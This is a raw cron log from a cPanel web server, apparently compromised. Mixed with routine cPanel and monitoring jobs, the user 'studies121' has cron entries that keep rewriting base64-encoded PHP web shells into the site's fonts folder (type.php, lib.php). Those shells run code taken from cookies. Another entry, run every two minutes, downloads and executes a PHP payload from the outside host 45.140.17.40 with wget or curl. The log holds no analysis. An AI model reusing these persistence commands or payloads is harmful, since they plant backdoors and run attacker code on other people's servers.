Feb 22 12:16:01 ip-184-168-122-23 CROND[4783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:16:01 ip-184-168-122-23 CROND[4786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:16:01 ip-184-168-122-23 CROND[4784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:16:01 ip-184-168-122-23 CROND[4785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:17:01 ip-184-168-122-23 CROND[5225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:17:01 ip-184-168-122-23 CROND[5223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:17:01 ip-184-168-122-23 CROND[5224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:17:01 ip-184-168-122-23 CROND[5226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:18:01 ip-184-168-122-23 CROND[5711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:18:01 ip-184-168-122-23 CROND[5713]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:18:01 ip-184-168-122-23 CROND[5714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:18:01 ip-184-168-122-23 CROND[5715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:18:01 ip-184-168-122-23 CROND[5716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:19:01 ip-184-168-122-23 CROND[6261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:19:01 ip-184-168-122-23 CROND[6265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:19:01 ip-184-168-122-23 CROND[6266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:19:01 ip-184-168-122-23 CROND[6268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:20:01 ip-184-168-122-23 CROND[6780]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 12:20:01 ip-184-168-122-23 CROND[6783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:20:01 ip-184-168-122-23 CROND[6782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:20:01 ip-184-168-122-23 CROND[6786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:20:01 ip-184-168-122-23 CROND[6787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:20:01 ip-184-168-122-23 CROND[6785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:20:01 ip-184-168-122-23 CROND[6789]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 12:20:01 ip-184-168-122-23 CROND[6791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:20:01 ip-184-168-122-23 CROND[6790]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 12:21:01 ip-184-168-122-23 CROND[7201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:21:01 ip-184-168-122-23 CROND[7202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:21:01 ip-184-168-122-23 CROND[7203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:21:01 ip-184-168-122-23 CROND[7205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:22:01 ip-184-168-122-23 CROND[7631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:22:01 ip-184-168-122-23 CROND[7635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:22:01 ip-184-168-122-23 CROND[7633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:22:01 ip-184-168-122-23 CROND[7632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:22:01 ip-184-168-122-23 CROND[7634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:23:01 ip-184-168-122-23 CROND[8073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:23:01 ip-184-168-122-23 CROND[8074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:23:01 ip-184-168-122-23 CROND[8077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:23:01 ip-184-168-122-23 CROND[8078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:24:01 ip-184-168-122-23 CROND[8558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:24:01 ip-184-168-122-23 CROND[8559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:24:01 ip-184-168-122-23 CROND[8562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:24:01 ip-184-168-122-23 CROND[8564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:24:01 ip-184-168-122-23 CROND[8567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:25:01 ip-184-168-122-23 CROND[9098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:25:01 ip-184-168-122-23 CROND[9097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:25:01 ip-184-168-122-23 CROND[9099]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 12:25:01 ip-184-168-122-23 CROND[9102]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Feb 22 12:25:01 ip-184-168-122-23 CROND[9104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:25:01 ip-184-168-122-23 CROND[9106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:25:01 ip-184-168-122-23 CROND[9105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:26:01 ip-184-168-122-23 CROND[9465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:26:01 ip-184-168-122-23 CROND[9467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:26:01 ip-184-168-122-23 CROND[9466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:26:01 ip-184-168-122-23 CROND[9470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:26:01 ip-184-168-122-23 CROND[9468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:27:01 ip-184-168-122-23 CROND[9814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:27:01 ip-184-168-122-23 CROND[9817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:27:01 ip-184-168-122-23 CROND[9818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:27:01 ip-184-168-122-23 CROND[9816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:28:01 ip-184-168-122-23 CROND[10152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:28:01 ip-184-168-122-23 CROND[10154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
